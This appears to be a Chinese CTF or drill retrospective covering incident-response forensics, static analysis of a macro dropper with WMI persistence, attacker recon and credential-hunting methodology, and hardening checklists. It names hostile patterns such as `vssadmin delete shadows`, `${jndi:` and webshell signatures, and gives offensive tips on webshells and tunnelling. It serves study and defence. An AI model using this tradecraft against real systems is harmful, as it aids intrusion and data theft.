> `Accepted publickey` 与 `Accepted password` 是两种不同的认证方式，排查后门时两种都要数。`authorized_keys` 里的公钥要逐条比对指纹与注释（注释常被改成伪装的名字）。

#44 / #45 / #46 后门账号加入的组 / 计划任务名称 / Windows 后门程序路径

题	取证命令
#44 后门账号加入的组	`net user <账号>` / `Get-LocalGroupMember -Group Administrators`
#45 计划任务名称	`schtasks /query /fo LIST /v`（或 `Get-ScheduledTask`），按"创建时间 + Run As + 动作路径"筛
#46 Windows 后门程序路径	从计划任务/服务的动作路径反推，或 `Get-CimInstance Win32_StartupCommand`

逐题根因：这三题都指向同一个地方 —— `dc-file01` 上攻击者创建的"持久化三件套"（账号+组、计划任务、后门程序）。当时把精力放在勒索痕迹上，没回头补这块基础设施，属于覆盖面问题。

2.15 本场景加固与检测清单

层次	加固	检测
边界应用	升级 Log4j；出站阻断 LDAP/RMI	`${jndi:` 变形；Java 起子进程
Linux 账号	账号基线；UID 唯一性	新增 UID 0；`authorized_keys` 指纹比对
Linux 持久化	systemd/cron 目录基线	非常规命名服务；固定 60s 周期外连
配置与凭据	配置不明文存口令	业务接口异常来源；出站连接审计
Redis	`requirepass`+绑本地+禁危险命令+低权	`CONFIG SET` / `BGSAVE` 审计；`/etc/cron.d` 完整性
MySQL	强口令；账号基线	`mysql.user` 比对；`CREATE USER` / `GRANT` 审计
Windows 横向	服务账号口令轮换 + 限登录类型	4624 Type 3；非工作时间登录
终端与邮件	GPO 禁宏；邮件网关	Office 起子进程；`%TEMP%` 可执行文件；Run 键写入
勒索防护	3-2-1 离线备份；卷影保护	`vssadmin delete shadows`；大量文件改写

题目三 · APT 恶意样本深度分析（10 题）

3.1 场景与分析方法

样本：`forensic-ws`（192.168.x.50）桌面上的一个 `.doc` 文档。要求纯静态分析，不运行。

核心解法（本组题高度一致）：

> 把文档解包 → 提取宏 → 把宏里的 base64 常量解出来 → 答案全在解出来的脚本里

工具链（比原思路更省事的组合）：`olevba` / `oledump` 提宏、`unzip` / `7z` 解 OOXML、Base64 解码、PE 头查看、字符串检索。

```
# 一键看宏（olevba 会把宏源码、可疑关键字、IOC 一起打出来）
olevba -a sample.doc
# 或者先过一遍是否含宏
mraptor sample.doc

# 若已是 OOXML（.docm），直接解包
python -c "import zipfile;zipfile.ZipFile('s.docm').extractall('s')"
strings s/word/vbaProject.bin | head -40
```

3.2 逐题索引（#57–#66）

题	题目	答案（脱敏）	详解
#57	被 wscript 执行的脚本名	未记录	3.6
#58	第二阶段载荷落地目录	`C:\ProgramData\Windows`	3.3
#59	DLL 文件名	`WinSysHelper.dll`	3.4
#60	WMI 滤波器与消费者名称	`WinSysHelper_Filter` / `WinSysHelper_consumer`	3.4
#61	WMI 消费者拉起的可执行文件	`...\WindowsPowerShell\v1.0\powershell.exe`	3.5
#62	`from` 后面的事件类名	`__InstanceCreationEvent`	3.4
#63	非管理员分支计划任务的 `/tr`	`C:\Windows\System32\wscript.exe`	3.5
#64	Base64 解码结果的文件头前 4 字节	未记录	3.6
#65	第三阶段脚本的互斥体名称	未提交	3.6
#66	域名数组总数与 `reld.` 域名	未提交	3.6

3.3 #58 第二阶段载荷落地目录

答案是 `C:\ProgramData\Windows`。做法：在解出来的脚本里看到 `$env:programdata` 与 `\Windows` 的字符串拼接 —— 这是伪装成系统目录的落地点（真实系统目录是 `C:\Windows`，加一层 `ProgramData` 就混进了"看起来像系统路径"的样子）。

> 判据：`C:\ProgramData`、`%APPDATA%`、`%TEMP%` 都是普通用户可写的目录，是恶意载荷的首选落地处。排查时优先看这几个地方。

3.4 #59 / #60 / #62 WMI 持久化的三件套

原理（WMI 事件订阅持久化，ATT&CK T1546.003）：WMI 可以配置"当某个事件发生时，自动执行某个动作"。它由三个对象组成，缺一不可：

对象	作用
`__EventFilter`	什么时候触发（查询条件）
`__EventConsumer`	触发后做什么（执行命令/脚本）
`__FilterToConsumerBinding`	把上面两者绑在一起

本题的触发条件是 `__InstanceCreationEvent` —— 即"当某个实例被创建时"。它常配合 `WITHIN 30` 这类轮询间隔使用，本质上是一个定时器。

为什么恶意软件喜欢 WMI：它是系统自带的合法机制，配置存在 WMI 仓库里（不是文件），没有文件落地 —— 杀软不易发现、用户也很难手动看到。

```
# 三个类都要查，缺一不可
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
```

> 检测要点（很容易漏）：查 WMI 持久化必须三个类都查。只查 Filter 会漏掉消费者，只查消费者会漏掉绑定关系。

命名规律：三个对象有共同前缀（`WinSysHelper_*`）—— 这是排查时的重要线索：找到任意一个，就能按前缀把另外两个一起捞出来。

工具平替：`Autoruns` 有专门的 WMI 标签页，图形化一眼看全，比纯命令省事。

3.5 #61 / #63 两个执行分支

#61 的判据：`ExecutablePath` 与 `CommandLineTemplate` 互相印证 —— 两处独立来源指向同一个路径，结论才可靠。

#63 的判据是"分支归属"：脚本里有四条 `schtasks` 命令，分别对应"管理员 / 非管理员"两种运行环境。要判断哪条属于"非管理员分支"，靠的是上下文逻辑（前置的权限判断），不是靠位置。

> 恶意脚本经常写多条分支适配不同环境（有没有管理员权限、有没有装某个软件）。分析时不要只看第一条，要按分支条件归类。

为什么用 `wscript` 而不是 `powershell`：`wscript.exe` 是 Windows 自带的脚本宿主，属于"签名二进制" —— 用它执行 `.vbs` / `.js` 可以绕过很多只拦"命令行工具"的防护（ATT&CK T1218.011，签名二进制代理执行）。

3.6 未解与线索（#57、#64、#65、#66）

#57 被 wscript 执行的脚本名：脚本宿主执行的必然是一个 `.vbs` / `.js` 文件，它的路径/文件名应该在宏代码或解出来的载荷里；`#63` 的计划任务 `/tr` 指向 `wscript.exe`，**它的参数部分（脚本路径）就是答案所在。**

#64 Base64 解码结果的文件头前 4 字节：这题其实问的是"**这个 Base64 串解码后是什么文件**"。记住几个常见魔数就能秒答：

Base64 前缀	解码后前几字节	文件类型
`TVqQ`	`4D 5A`	**PE 可执行文件（MZ 头）**
`UEsDB`	`50 4B 03 04`	ZIP（含 OOXML/APK/JAR）
`H4sI`	`1F 8B 08`	gzip
`e1xyd`	`7B 5C 72 74`	RTF
`0M8R4`	`D0 CF 11 E0`	OLE2（老版 Office）

> 注意"前 4 字节"和"PE 签名"的区别：PE 文件的**前两字节是** `MZ`，而 `PE\0\0` 签名在**偏移** `0x3C` **指向的位置**。题目问"前 4 字节"，答案应是 `4D 5A` 开头的那四字节。**审题要精确到字节。**

#65 / #66 第三阶段脚本的互斥体与域名数组

当时的搜索范围：在导出的流量对象里检索（几百个对象、几十万字节），命中大量噪声。**判断偏差**：把题目二的证据链和题目三的素材混用了 —— 两份证据属于不同题目，混在一起检索必然找不到答案。

后续路径：互斥体名称通常在第三阶段脚本里以字符串常量出现（用于单实例控制与沙箱检测），应在**第三阶段脚本本体**里找；域名数组通常在脚本里以数组字面量出现，找到后**要数总数。**

> 两条通用教训：① **证据链不能混用**（先确认素材属于哪道题）；② **检索之前先缩小范围**（无范围地对几十万字节做字符串检索，命中必然是噪声占多数）。
> **换方法**：互斥体、域名数组这类东西**跑一次沙箱就能直接从行为日志里看到。工具选错，努力白费。**

3.7 本场景加固与检测清单

层次	加固	检测
宏	GPO 禁用宏；只允许签名宏	Office 起子进程（`winword → wscript/powershell`）
WMI	收紧 WMI 事件订阅创建权限	**三个订阅类都要查**；`WMI-Activity` 事件 **5861**
计划任务	限制普通用户创建计划任务	安全日志 **4698**；TaskScheduler 日志 **106**；`/tr` 指向 `wscript` 的异常任务
脚本宿主	ASR 规则；限制 `wscript/cscript/mshta/regsvr32/rundll32`	父进程是 WMI 的 `powershell.exe`（**非常异常**）
落地目录	终端防护	`C:\ProgramData`、`%TEMP%`、`%APPDATA%` 下可执行文件创建（Sysmon 11）
DNS/网络	DNS 日志与信誉	特征域名；异常 DNS 请求量

第三部分 · 方法论

17. 攻方：从侦察到拿下的判断链

17.1 开工三问

1. **这台机器是干什么的？**（首页、自述页面往往自己列功能入口 —— 省掉几百次目录猜解）
2. **它开了哪些端口、跑着什么版本？**（服务 → 协议 → 默认弱点的映射，见 §2 的表）
3. **题面用词指向哪里？**（"响应中"→读返回体；"附件中"→文件系统；"公告中"→后台；"共享目录"→文件协议）

17.2 侦察顺序

```
读首页/自述 → 端口扫描 → 服务与版本识别 → 已知漏洞匹配 → 默认凭据/匿名访问试探
                                                              ↓
                                                  目录与文件：robots.txt、备份目录、.git、前端 JS
```

为什么这个顺序：前几步成本极低、命中率极高。**先做"一条命令就能验证"的事**，再进入需要构造 payload 的阶段。

17.3 攻击面收敛：让事实决定方向

题面里的抽象说法**必须先落成具体技术**再动手。比如"文件共享"覆盖 SMB/FTP/NFS，端口扫描里没有 445/139，**SMB 这条路就该立刻排除。不要凭印象选工具**（先装好 impacket 再发现用不上，是典型的浪费）。

17.4 凭据泄露点清单

位置	典型内容
前端 JS	硬编码的 token、AK/SK、API key（**每碰一个站点都该把 JS 翻一遍**）
配置文件	数据库口令、中间件口令、加密盐值（常为明文）
配置中心（Nacos/Apollo/etcd）	整个集群的凭据表
源码备份 / `.git`	一切
共享目录 / FTP	交接文档、说明文件（**文件名有语境的优先读**）
堆转储 / 内存	明文口令、JWT、连接串
业务数据表	备注字段、变更记录、内部留档
报错信息	绝对路径、框架版本、SQL 片段

17.5 遇到"要凭据"时先推理，别急着爆破

核心问句：谁会持有这个凭据？ 接口给前端大屏用 → 前端必须持有 token → 去前端 JS 里找。这是从调用关系推出来的**必然结论**，比字典爆破高效得多。**爆破是兜底手段，不是首选。**

17.6 失败诊断：先怀疑自己，再怀疑目标

现象	第一嫌疑
响应 0 字节	请求**根本没发出去**（编码/通配符/静默选项吞了报错）
404	路径/模块/参数真的错了，或某段被传输链改写
403	角色或协议用错了（先查文档，不是先换工具）
500 / 抛异常	代码**到达了**目标点 —— 往往离成功最近，读异常信息
没有输出	输出通道问题，不是执行问题（写文件再读）

一句话：**先确认"请求是否原样到达"，再怀疑"目标是否防住了"。**

17.7 长串一致性

从任何界面里抄下来的长串都必须校验：长度校验（flag 正文恒为 32 位十六进制）、格式校验（正则）、必要时**逐字节核对**（`od -c`）。**最可靠的一招是让目标机自己回答对错** —— 把可疑值写进目标机的命令里做匹配，只把"命中/不命中"读回来，**把"人眼抄写"这个不可靠环节整个移除。**

---

18. 守方：应急取证的判断链

18.1 先找攻击者的遗留物，再逐题检索

这是下午场效率最高的一条经验。 攻击者留下的脚本、工具、配置改动高度集中 —— 一个 `stage.sh` 可能同时包含 C2 地址、持久化服务名、后门账号口令。**通读遗留物，比按题号一条条查快得多。** 而且**遗留物的属主能指出入口**：脚本属主是 Web 用户而不是 root → 入侵起点在 Web 应用。

18.2 取证素材的优先级

素材	适用问题
流量包	跨主机行为、加密通道内容、下载了什么、回连到哪里
主机文件系统	落地了什么、持久化在哪、文件什么时候被改
日志（应用/系统/认证）	谁在什么时候做了什么
内存	无文件载荷、运行时密钥

跨主机行为一定要去流量里找 —— 两台机器都没有完整操作日志时，**只有流量是完整的。**

大流量包的处理：不要逐条看。先按受害机 IP 剪裁，再用工具**一次把 HTTP 传输过的文件整体导出**，然后在导出物里检索。

```
tshark -r u.pcap -q --export-objects http,exported/   # 或 NetworkMiner 图形化导出
```

18.3 证据复核的固定动作

下任何结论之前，找一条反证。

- 值匹配 ≠ 来源匹配（哈希撞出的口令可能本来就是这台机器的）
- 字符串命中 ≠ 属于本题（检索命中关键词只说明值存在）

- 文件 mtime = 案发日 ≠ 就是被篡改（**镜像可能是案发当天构建的**）

最有效的反证手段是 `diff` 一份备份文件 —— `/etc/shadow` vs `/etc/shadow-`、当前配置 vs 基线快照、这台机器 vs 同版本的其他机器。**成本极低，收益极高。**

18.4 判据要看"角色是否匹配"

对象	正常应是什么样	异常信号
用户账号	UID 唯一	**出现第二个 UID 0**
服务账号	不交互登录	**出现 Type 3 网络登录**
数据库账号	host 限定、权限贴合业务	**host 为 `%` + ALL PRIVILEGES**
计划任务	有业务含义的命名	**伪装成健康检查的命名**
落地文件	有业务路径	**落在 `/tmp`、`C:\ProgramData`、`%TEMP%`**

18.5 时间线重建

多来源交叉验证：流量说"发生了什么"，文件系统说"留下了什么"，日志说"谁做的" —— **三者时间吻合才能定案。**单个来源都可能被篡改或误读；当某个来源缺失时，要**明确记录"该证据不可用"**，而不是用推测填补空白。

18.6 口径歧义的处理

"数不清"的题往往是口径问题，不是统计问题。 做法：把每种可能的口径都算出来列成表逐一对齐；同时检查统计命令是否**误匹配**（`grep -c 404` 会把长度含 `404` 的行算进去）。

18.7 图形工具优先（反直觉但实用）

在客户机上有图形界面时，**看文件属性、看邮件原文、用 `Alt+F11` 看宏源码**，往往比在命令行里检索二进制字符串快得多且不易出错。**工具选对了，一道题可能从"半小时没头绪"变成"一眼看到"。**

---

19. 失败模式总表

#	失败模式	现象	根因	正确做法
1	**PoC 不通就判"漏洞不存在"**	404	PoC 依赖的模块/路径在目标上不存在	读异常信息；换真实模块名
2	**把工具问题当目标防御**	0 字节响应、无输出	请求没发出去 / 输出通道不对	先验证请求是否原样到达
3	**不回显当成没执行**	一片空白	无 tty / 没读 stderr	让命令写文件再读
4	**只解一条流量就下结论**	模块统计错误	样本不足	先枚举**全部**相关流
5	**只解一半数据流**	拿不到响应字段	只解了请求方向	请求和响应编码可能**不对称**
6	**证据链混用**	检索无结果	用了别的题组的素材	先确认素材归属
7	**命中当结论**	提交错误答案	值匹配 ≠ 来源匹配	下结论前 `diff` 备份找反证
8	**时间戳污染**	SUID/mtime 一堆假阳性	镜像在案发日构建	用内容与**包归属**判断
9	**口径没对齐**	同题反复提交错	统计口径 ≠ 题意	列出所有口径逐一对齐
10	**客户端校验当安全机制**	口令被直接反推	密钥/算法都在客户端	校验放服务端；不可逆派生
11	**配置明文存口令**	一次泄露全线崩	配置中心/配置明文	密钥管理 + 最小权限
12	**只校验 Content-Type**	上传绕过	客户端声明不可信	白名单 + 内容嗅探 + 存 Web 根外
13	**只顾一个方向的后门**	漏掉记录出站口令那半	没意识到 `ssh` / `sshd` 是两半	成对排查同类组件
14	**Windows 应用池禁子进程**	马能执行但无输出	起进程被挡住	写**纯 IO 的马**
15	**C2 只看 IP 不看方向**	把投递端口判成回连端口	忽略"连接方向"	**按源地址分组统计建连**
16	**静态分析硬啃**	耗时长且无果	方法选错	换行为分析 / 沙箱
17	**跳板/隧道决策错**	内网久攻不下	在低权 shell 里做中继	先固化边界机 root，再架隧道
18	**忘记关掉通配符解析**	请求发不出	方括号被当通配符	用 `-g` /关 globbing
19	**编码混淆**	密钥解不对	把"看起来像 hex 的串"当 hex	分清字符本身与它的十六进制

#	失败模式	现象	根因	正确做法
20	**黑名单思维**	被 `%0a` 等绕过	黑名单永远列不全	用白名单

---

20. 加固与检测清单

20.1 Linux 主机

- **完整性**：`rpm -Va` / `debsums -c` 纳入日常巡检并基线化；关键二进制（`ssh*`、`sshd`）单独监控
- **提权面**：全盘清点 SUID/SGID（**用 `rpm -qf` 找"孤儿 SUID"**）；清点 `-perm -o+w` 文件；`getcap -r /` 查 capabilities
- **持久化**：`/etc/crontab` + `/etc/cron.d/` + **root 自己的 crontab**（`/var/spool/cron*`）；systemd unit 目录基线
- **账号**：UID 唯一性（**找第二个 UID 0**）；`/etc/shadow` 与备份 diff
- **藏匿点**：`/tmp`、`/var/tmp`、`/dev/shm` 下的隐藏文件（**点开头的文件 `ls` 默认不显示**）
- **认证**：改用证书/硬件密钥；"登录成功但 PAM 无记录"告警

20.2 Windows / 域

- **持久化三件套**：注册表 Run 键、计划任务（4698 / TaskScheduler 106）、**WMI 事件订阅**（三个类都查，`WMI-Activity` 5861）
- **账号**：`Get-LocalUser`、`net localgroup Administrators`、**服务账号的网络登录**（4624 Type 3）
- **进程链**：`winword.exe → wscript/powershell/cmd`；**父进程是 WMI 的 powershell**
- **落地目录**：`%TEMP%`、`%APPDATA%`、`C:\ProgramData` 下可执行文件创建（Sysmon 11）
- **签名二进制滥用**：`wscript`、`cscript`、`mshta`、`regsvr32`、`rundll32` 的异常调用

20.3 网络

- **异常主动外连**：`ip.src==受害机 and syn and !ack` 的分布 —— **后门最强特征**；固定 60s 周期是心跳
- **区分方向**：按源地址分组统计建连，分清"下载"与"回连"
- **加密流量**：同一 AES 密钥跨多条 TCP 流 → Web 层会话，按密钥归并攻击者行为
- **webshell 特征**：请求体 base64 且长度为 16 的倍数；冰蝎家族的响应体以 `cafebabe` 开头（误报率极低）
- **注入特征**：`${jndi:` 及其变形；应用进程发起 LDAP/RMI 连接
- **爆破特征**：单 IP 短时间内 **404 占比 > 90%**

20.4 Web 与应用

- **代码审计必查**：上传接口是否只校验 `Content-Type`；SQL 是否参数化；`s`/类名类参数是否白名单
- **暴露面**：Tomcat Manager、Actuator `include=*`、Nacos 未升级、UEditor、Tiny File Manager 这类单文件工具
- **凭据**：前端 JS 里是否有硬编码 token（CI 阶段扫描）；配置里是否明文口令；JWT 权限位是否来自 token 载荷
- **目录**：关闭目录列举；备份文件不放 Web 根；**Web 目录新增脚本文件的实时告警**

20.5 出站与终端

- **出站白名单**：应用服务器**不应**主动连外网任意端口（LDAP 1389、4444、8080、9443 都该拦）
- **邮件网关**：仿冒域名检测；`.docm` / `.xlsm` / `.js` / `.lnk` 拦截或沙箱
- **宏策略**：GPO 禁用宏 / 只允许签名宏 / 阻止 Internet 来源的宏
- **备份**：**3-2-1 且离线**；卷影副本保护；限制 `vssadmin` 执行

附录 A：本次复盘的工具选型与替代思路

同一件事往往有多种工具，**选"在当前环境里一定能跑通"的那个更重要。**下表是本文涉及场景的选型对照：

场景	一种常见做法	本文选型（更省事/更稳）	理由
Web 漏洞初筛	纯手工 PoC	`nuclei` 模板先过一遍	命中再手工，省时间
目录扫描	`dirsearch`	`feroxbuster`	递归快、并发高
JSP webshell 管理	冰蝎	哥斯拉	部分 JDK 上兼容性更好
恶意流量的对象导出	Wireshark 手工导出	`tshark --export-objects` / NetworkMiner	批量、可脚本化
JWT 爆破+伪造	手工 hashcat	`jwt_tool`	一条龙，少踩模式坑
堆转储分析	Eclipse MAT	`strings` 快速搜 / `JDumpSpider`	先便宜地看一眼
压缩包爆破	hashcat 手工选模式	`fcrackzip` / `zip2john` + `john`	自动判类型
SMB 枚举	`smbclient` 手搓	`netexec` / `smbmap`	批量、输出友好
Windows 日志分析	手工翻事件查看器	`Hayabusa` / `Chainsaw`	Sigma 规则自动出时间线
端口探测（受控环境）	`nc -z`	`nmap` / `bash /dev/tcp`	兼容性更好

附录 B：把两条主线并成一句话

- **攻击方**：**让事实决定方向** —— 先做便宜且确定的验证，收敛攻击面，再构造 payload。
- **防守方**：**让证据经受质疑** —— 每个结论都先找一条反证，多来源交叉，口径逐一对齐。

两者共用同一句心法：**"我看到的现象，是否真的能推出我要的结论。"**

本文为技术学习复盘，所有地址、账号、口令、flag 均做脱敏处理；仅用于防御与教学目的。